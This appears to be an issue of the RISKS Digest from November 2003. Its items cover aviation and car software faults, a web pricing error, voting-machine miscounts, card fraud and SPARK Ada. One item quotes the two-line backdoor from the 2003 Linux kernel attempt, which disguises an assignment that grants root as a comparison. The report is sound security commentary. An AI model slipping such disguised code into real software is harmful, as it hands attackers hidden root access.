Please try the URL privacy information feature enabled by clicking the flashlight icon above. This will reveal two icons after each link the body of the digest. The shield takes you to a breakdown of Terms of Service for the site - however only a small number of sites are covered at the moment. The flashlight take you to an analysis of the various trackers etc. that the linked site delivers. Please let the website maintainer know if you find this useful or not. As a RISKS reader, you will probably not be surprised by what is revealed…
*Flight International* reported a braking problem occurring on a Eurofighter Typhoon aircraft on 9 Oct 2003 that led to the suspension of all flights (*Flight International*, 21-27 October 2003, p4, article by Julian Moxon). A cockpit warning light came on during landing, the pilot deployed the braking parachute, but the brakes could be used to bring the aircraft to a halt. The furlough lasted three weeks, and the aircraft were to return to flight operations last week. Apparently 15 days have been lost from the flight test program. The braking problem centered on a faulty microchip in the landing gear computer (*Flight International*, 4-10 Nov 2003, p6). Peter B. Ladkin, University of Bielefeld, Germany http://www.rvs.uni-bielefeld.de
The computer systems in today's luxury cars are wonderful when they work right, but not so wonderful when something goes wrong. Donald Buffamanti of AutoSpies.com (self-described as "the ultimate insider guide to the world's best automobiles") says of one automaker's cars: "People have reported total electronic shutdowns to us attributed to the network in the 7-series." One luxury car owner, whose onboard computer gave monitoring information that sent him off to the service station every few days to check his tire pressure, complains: "Why does it have a computer that reads the problems if they can't fix them?" Responding to complaints such as these, a BMW executive says: "There is a not-uncommon shakedown period of one to two years with technology this new," and a Honda executive admits: "When you're adding complexity, you are adding risks." The BMW exec adds: "The good news is that if it's working right after four years, it will continue to work for a long time after that. Electronics have a much longer life than mechanical parts." [*USA Today*, 11 Nov 2003; NewsScan Daily, 12 Nov 2003] http://www.usatoday.com/tech/news/2003-11-11-carrepairs_x.htm [See RISKS-22.02,03,73,74 for other recent items on the 7-Series. Interesting statement that if it works for four years, it will continue to do so; RISKS readers are familiar with various reasons why this might not be true. PGN]
It is widely reported in the Japanese press that a mail order web page's typo cost a company more than two million dollars. One "0" was missing from the price of a PC sold by Marubeni, a large trading company's mail order web site. Before the error was caught, about one thousand people ordered 15 hundred units. (The real price was 198, 000 Japanese Yen. It was listed initially as 19, 800 Yen.) After the error was spotted, and trying to cancel the selling contract with many customers had strong resistance from the said buyers and failed, the company decided to bite the bullet and announced that it would sell the PC at the incorrect list price to the customers who ordered the PC in order to "keep its trust among the customers" or whatever. I read that a lawyer offered a comment that in Japanese law a notion of "clear misunderstanding nullifying a contract" (not sure what the right English translation is.) exists, and so the contract to sell the goods (which was deemed as being established by the automatic response sent to the buyer afer the order at the web site was submitted) can be scrapped due to this principle in court. However, Marubeni obviously decided to honour the contract to protect its name. Another commented in a newspaper article that mail order companies should be aware of anomalies such as sudden surge of orders on one product to spot this kind of error. (Intriguing problem. This is similar to input validation problem and no amount of "intelligence" would be enough to eliminate such errors, but a common sense check that puts a lower limit on the price of a category of product, say, of PC, printer, etc. could have caught this particular case.)
A revote will be held in Grant Parish, Louisiana after a candidate, Barney Durand contested the results after being told he lost the race for police jury. He was running against an incumbent, Julius Scott, who was reported to have won the race by an 8-vote margin. Turns out one of the election technicians had doubled either some or all of the absentee count (it's not clear which is the case), adding an additional 20 votes, five for Durand and 15 for Scott. The new count showed Durand won the election by only a few votes. I phoned Mr. Durand last week. He told me that the Secretary of State agreed he had won the election, but the losing candidate filed a lawsuit that resulted in a judge ordering the revote to take place. http://www.nola.com/newsflash/louisiana/index.ssf ?/base/news-5/1066890841145171.xml
As a follow-up to Jeremy Epstein's posting in RISKS-23.01, it seems that the WinVote machines also had the mysterious capability of subtracting around one in every hundred votes for a particular Republican candidate. This was confirmed by post-election testing (when county officials examined one of the machines after complaints were filed by voters in three different precincts). The Washington Post reported Thursday that for School Board candidate Rita S. Thompson "the machines initially displayed an "x" next to her name but then, after a few seconds, the "x" disappeared." The fact that these votes may not have been recorded on the (so-called) audit trail created internally on the machines underscores the need for voter verified paper ballots in electronic voting systems. I would like to bring readers' attention to the fact that the current IEEE voting system draft allows for wireless (and other transmission) technology to be used with precinct electronic balloting systems. We need some individuals with the ability to provide a detailed explanation of security issues with wireless to assist with the current debate on this subject. Anyone who has technical expertise in this area should contact me immediately at: mercuri@acm.org
As I reported in RISKS-23.01, the Fairfax County (Virginia) election last week, which used new electronic WinVote systems, was marred by problems. It seems that some of them are more serious than I noted previously. *The Washington Post* reports that in one local race, "Voters in three precincts reported that when they attempted to vote for [a local candidate], the machines initially displayed an 'x' next to her name but then, after a few seconds, the 'x' disappeared." The "county officials tested one of the machines in question yesterday and discovered that it seemed to subtract a vote for [the candidate] in about 'one out of a hundred tries,' said Margaret K. Luca, secretary of the county Board of Elections." [Incidentally, this is the same county official who told me in writing that the "Electoral Board is taking every step to ensure a secure and successful election...".] If we assume that the one in a hundred number is accurate, the fact that the election was decided by a margin of about 1% should leave everyone a bit nervous. The real problem is now that they're trying to "inspect" the voting logs to see what happened. But as we all know, the voting logs, being electronic, may not represent anything at all. Last night I had a discussion with someone in a position of knowledge, who told me that this "1% vote" problem is of more concern to the county staff than the eight failed machines I referenced in RISKS-23.01. In the case of those failed machines, the county staff is confident that they know what went wrong, and they understand what the vote totals should have been. [Not that their confidence gives me much confidence!] However, for the 1% vote problem, the county staff apparently don't know what caused the problem. And that makes them, and me, that much more nervous. As a co-worker called it, this is "electronic hanging chad". http://www.washingtonpost.com/wp-dyn/articles/A6291-2003Nov5.html
On 5 Nov 2003, an attempt to insert a very cleverly crafted backdoor into
Linux was averted. This is a really good example of the subtle kinds of
hacks a source code examiner must be waiting to catch if we want genuinely
secure voting systems under the current model of proprietary DRE systems
with a closed-door source code examination.
Someone broke into a server at kernel.kbits.net and inserted the following
code into the Linux kernel:
if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;
This was done in the code sys_wait4(). Larry McVoy caught the fact that the
change had been made, and was annoyed because it wasn't logged properly.
Matthew Dharm asked "Out of curiosity, what were the changed lines." Zwane
Mwaikambo responded "That looks odd", and Andries Brouwer responded "Not if
you hope to get root."
So, an annoying violation of the software change logging requirements turned
out to be an attempt to install a backdoor in Linux. At least two very
experienced programmers looked at it and saw just slightly odd code, before
the serious nature of the threat was actually discovered.
This particular attack, by the way, is ruled out by the current voting
system standards, not because they require a comprehensive security
analysis, but because of their C-centered coding rules. Embedded assignment
is forbidden. Current source code checks are good at finding embedded
assignments and flagging them (as long as the code is written in C). No
doubt, a hacker of the sophistication suggested by the attack illustrated
above would strictly adhere to the coding guidelines in formulating their
attack.
For the complete story of this attack on Linux, including the actual E-mail
exchange documenting the discovery of the attack, see:
http://kerneltrap.org/node/view/1584
Linux: Kernel "Back Door" Attempt
This attack has only made the mainstream media in one place, so far:
http://www.smh.com.au/articles/2003/11/07/1068013371170.html
Bid to backdoor Linux kernel detected - smh.com.au
This is a pity, because I think this story is really important.
[Source: Bernard Weinraub, *The New York Times*, 11 Nov 2003; PGN-ed] http://www.nytimes.com/2003/11/11/business/media/11wire.html The case began with a dead fish and a rose in an aluminum pan, left on the hood of a car parked on a Los Angeles street. Taped to the windshield of the car, which belonged to a reporter for the *Los Angeles Times*, was a piece of cardboard with a single word: "Stop." The discovery in June 2002 — for which an ex-convict was later arrested — unleashed a chain of events that has suddenly entwined many of the Hollywood elite and threatens to turn into the kind of scandal that the show business world has not faced in decades. Managers, actors, businessmen and lawyers are being questioned, and in some cases subpoenaed, by the federal government in a widening grand jury investigation of suspected illegal wiretapping that has moved beyond Los Angeles to New York, according to entertainers, producers, lawyers and others involved in the inquiry. This involves Anthony Pellicano, a private investigator for numerous Hollywood celebrities. An FBI raid netted many transcripts of taps.
RISKS readers might appreciate the following update to my experience with the theft of my AmEx card number.... Over a month after I canceled the stolen number and got a new one, two charges I did not make from America On-Line showed up on my statement. According to AOL, my number was used to open two AOL accounts, but by the time AOL tried to bill the number, I had canceled it. AmEx's policy for this situation is not what you would expect, i.e., to reject a charge to a number canceled due to fraud, but rather TO TRANSMIT THE NEW NUMBER TO THE MERCHANT. Yes, that's right, AmEx gave AOL my replacement card number, and AOL turned around and rebilled me using the new number. According to AOL, other card issuers handle this situation more sanely, but AmEx is "notorious" about correcting card numbers for merchants when they shouldn't. AOL assured me that once a number has entered their system, users can't see it, so even after AmEx sent the new number to AOL, whoever opened the accounts would not have been able to use them to find out my new number. AmEx denied that they would ever transmit a replacement number to a merchant. However, their denial is not credible, because: * AmEx confirmed that the charges from AOL were made using my new card number; * The AOL accounts were opened before my replacement number was issued, so it's impossible that they could have been opened using the replacement number; and * AOL told me exactly when they billed AmEx with the old number, when AmEx sent them the new one, and when they rebilled successfully using it. I told the AmEx rep. that since he and AOL were giving me different stories, I wanted him to call AOL and figure out the truth. He said only the AmEx "fraud department" could do that, but he could hand the matter over to the fraud department only by initiating a fraud dispute and canceling my new number. I refused to allow him to do this, because I did not believe my new number had been compromised, and I did not intend to waste more time changing all of my recurring transactions to a new number twice in two months. He said there was no way I could speak to the fraud department directly. I finally got him to give me a U.S. Mail address which I could use to write to them. Needless to say, I have written them a rather strongly worded letter demanding a credible explanation for how AOL got my new card number. It'll have to be a very good explanation indeed to convince me not to take my business elsewhere. As if all this weren't bad enough, AOL gave me one more piece of very disconcerting information. One of the AOL accounts was opened using my name, and the other was opened using MY FIVE-YEAR-OLD DAUGHTER'S NAME. This elevates the situation from a simple stolen credit-card number to something potentially much more serious (and scary). Therefore, I'll be spending tomorrow making phone calls to various law-enforcement agencies trying to find someone willing to initiate an investigation. I am pessimistic about my chances of success.
I should like to add a few comments to Rob Slade's generally positive review of John Barnes's book on SPARK Ada in RISKS-23.01. The main characteristics of the SPARK Ada language is that it is an unambiguous subset of Ada with a rigorous semantics. I understand that its developers felt that such characteristics were minimal necessary for guaranteeing the behavior of compiled code. "Unambiguous" means that all compilers compile source to object code which behaves exactly the same with respect to the program variables as other object code compiled from the same source, and it is necessary to achieve this that the semantics of the subset be precise. They also chose the subset to be as far as possible amenable to static analysis, partly through use of code annotation. The goal was, as I understand it, to ensure that the behavior of all programs written in the language would be completely predictable, not just in theory, but also in practice. SPARK Examiner is the static analysis tool which comes with SPARK Ada. Proponents of SPARK Ada argue that these properties are necessary in languages used for the development of critical systems, and I am inclined to accept such arguments. SPARK Ada has achieved measurable success in the development of avionics software by Lockheed Martin for their C130J new-generation Hercules transport aircraft, which has been bought by the UK military. UK military procurement regulations make requirements on development methods which are likely most easily met through methods involving the use of programming languages with SPARK Ada's characteristics. There is a collection of papers on SPARK Ada and its use at www.sparkada.com If one needs a language with the characteristics mentioned above — and who doesn't, even for non-critical systems? — then SPARK Ada is the most experienced game in town. (There are other tools, such as Perfect Developer from Escher Technologies, also a UK company, which claim identical or similar properties, are younger, therefore less tried, but likely also worth a look.) Barnes's book is *the* book on SPARK Ada. It was first published in 1997 and Slade reviewed the recently-published Second Edition. I have no connection with Praxis Critical Systems, the provider of SPARK Ada, other than that of general admiration for their sterling work. Peter B. Ladkin, University of Bielefeld, Germany http://www.rvs.uni-bielefeld.de
In Rob Slade's review of "High Integrity Software" in RISKS-23.01, he says that "SPARK forbids language structures such as the infamous GOTO statement of Fortran and BASIC (which cannot be formally verified)." To the contrary (as I learned back in the 1970's), the semantics of gotos and labels are quite simple: At any label, the conditions that hold there are the union of the conditions that hold at all the gotos that have the label as their destination together with the conditions that hold at the end of the statement preceding the label. The conditions that hold (textually) following a goto are null (i.e., nothing is true, since you can't get there). I remember when I first read this and thought "Of course!" It's the kind of thing that is obvious after seeing it, but not obvious to come up with it. I do not know who first thought of this, but I admire their clear thinking.
A GOTO can be emulated with a loop and a set of if statements.
Reaching back into my now rusty BASIC, the following
10 PRINT "What is your name?",
20 A$ = INPUT$()
30 IF A$ = "END" THEN GOTO 60
40 PRINT "Hello, ", A$
50 GOTO 10
60 PRINT "Okay, bye-bye!"
70 END
can be translated into inefficient (and untested) Python as
line_number = 1
while line_number < 100:
if line_number == 10:
print "What is your name?",
elif line_number == 20:
a = raw_input("")
elif line_number == 30:
if a == "END":
line_number = 60
elif line_number == 40:
print "Hello,", a
elif line_number == 50:
line_number = 10
elif line_number == 60:
print "Okay, bye-bye!"
elif line_number == 70:
break
else:
line_number = line_number + 1
Or does SPARK also forbid combining loops and if statements because there is
no way to formally verify them?
Marcus Ranum The Myth of Homeland Security Wiley, 2004 xviii+244 This book could not be more timely or more relevant. It is extraordinarily important for all RISKS readers, as it reinforces so many themes that we have discussed here, including the reality that many critical problems (especially low-tech threats) do not necessarily have technologically based solutions (especially high-tech fixes). Common sense abounds, along with a lot of very practical insights. The front jacket flap tells it like it is: "Writing with anger, honesty, and true patriotism, Ranum reveals the truth about 'feel-good' security policies and boondoggle spending programs that mask the real threats and do nothing tangible to improve public safety." This book has huge platters of food for thought. Intellectually, you won't go hungry reading it, and there is much on which to chew. However, if the book leaves a bad taste in your mouth, it is not Marcus Ranum's fault. He is simply and compellingly telling it like it is, and we all need to listen. [Despite the publication date of 2004, the book is out now. PGN]
BKGSECPG.RVW 20030918 "The GSEC Prep Guide", Mike Chapple, 2003, 0-7645-3932-9, U$60.00/C$90.99/UK#41.95 %A Mike Chapple %C 5353 Dundas Street West, 4th Floor, Etobicoke, ON M9B 6H8 %D 2003 %G 0-7645-3932-9 %I John Wiley & Sons, Inc. %O U$60.00/C$90.99/UK#41.95 416-236-4433 fax: 416-236-4448 %O http://www.amazon.com/exec/obidos/ASIN/0764539329/robsladesinterne http://www.amazon.co.uk/exec/obidos/ASIN/0764539329/robsladesinte-21 %O http://www.amazon.ca/exec/obidos/ASIN/0764539329/robsladesin03-20 %P 448 p. + CD-ROM %T "The GSEC Prep Guide: Mastering SANS GIAC Security Essentials" The SANS (System administrators, Audit, Network, Security) Institute GIAC (Global Information Assurance Certification) Security Essentials Certification (GSEC) is supposed to be the "core" program for the various GIAC courses and exams. Chapter one covers some basic, but random, security concepts and topics. A list of sample questions, intended to help the student/candidate prepare for the GSEC exam, is given at the end of every chapter. If these truly represent the level and type of questions on the exam then getting the GSEC is a snap: quick, which type of situation is worse, one that has low threat and low vulnerability or high threat and high vulnerability? (On the other hand, you may have to know the party line: one question insists that you credit SANS with the concept of defence in depth, and there is a concept of "separation of privilege" that seems to be what everyone else refers to as separation of duties.) Security policies are discussed in a verbose but almost "content-free" manner in chapter two. Virtually nothing is said about the policy process and different functional types of policies. Again, there is a demand for idiosyncratic jargon: high level policies are "program" policies, whereas detailed policies (mostly procedural, given the list discussed) are "issue-specific." One term that might be worth adopting is "system-specific policy": those who deal with policies know that it is difficult to have exceptions documented. Using this term for deviations, as SANS does, may reduce the resistance to noting the irregularities. There are some basic ideas about risk assessment and management in chapter three, but most of the text reviews network scanning tools. Chapter four contains network nomenclature, Cisco equipment filtering command arguments, and miscellaneous IP (Internet Protocol) protocols in varying depth. There are a brief list of the titular "Incident Handling" factors contained in chapter five, as well as random legal terms. The discussion of cryptography in chapter six is reasonable up to the point of symmetric block ciphers, but subsequent material has errors (keystream data should *not* repeat during the course of a message), confusing diagrams, and unhelpful mathematics. There is no deliberation about the usage of public key cryptography, hashes, and digests until chapter seven, which, despite the title, has absolutely nothing to say about "Applications Security." Chapter eight provides a simple overview of firewalls and intrusion detection systems (IDSs) but is not overly detailed: no distinction is made between application and circuit-level proxies, and some of the statements made are clearly incorrect for circuit devices. There is a grab bag of malware, cryptanalysis, attack methods and more in chapter nine. The content on operations security is limited to assorted aspects and tools of Windows and UNIX that might be related to secure processing, in chapters ten and eleven respectively. Chapter twelve is a practice exam. It's pretty easy. The GSEC is sometimes said to be adequate preparation for the CISSP (Certified Information Systems Security Professional) exam, but there are significant gaps in GSEC's coverage of the security topic. Although risk assessment and policy are discussed, management issues and access controls get limited substance in GSEC. Security architecture, applications security, physical security, and business continuity are all missing, while operations are restricted to Windows and UNIX. This book does provide some useful direction in regard to information systems security, but readers should be warned that the missing pieces will probably be very important at some point. copyright Robert M. Slade, 2003 BKGSECPG.RVW 20030918 rslade@vcn.bc.ca slade@victoria.tc.ca rslade@sun.soci.niu.edu Computer Security Day, November 30 http://www.computersecurityday.com/ victoria.tc.ca/techrev/mnbksc.htm sun.soci.niu.edu/~rslade/secgloss.htm
Please report problems with the web pages to the maintainer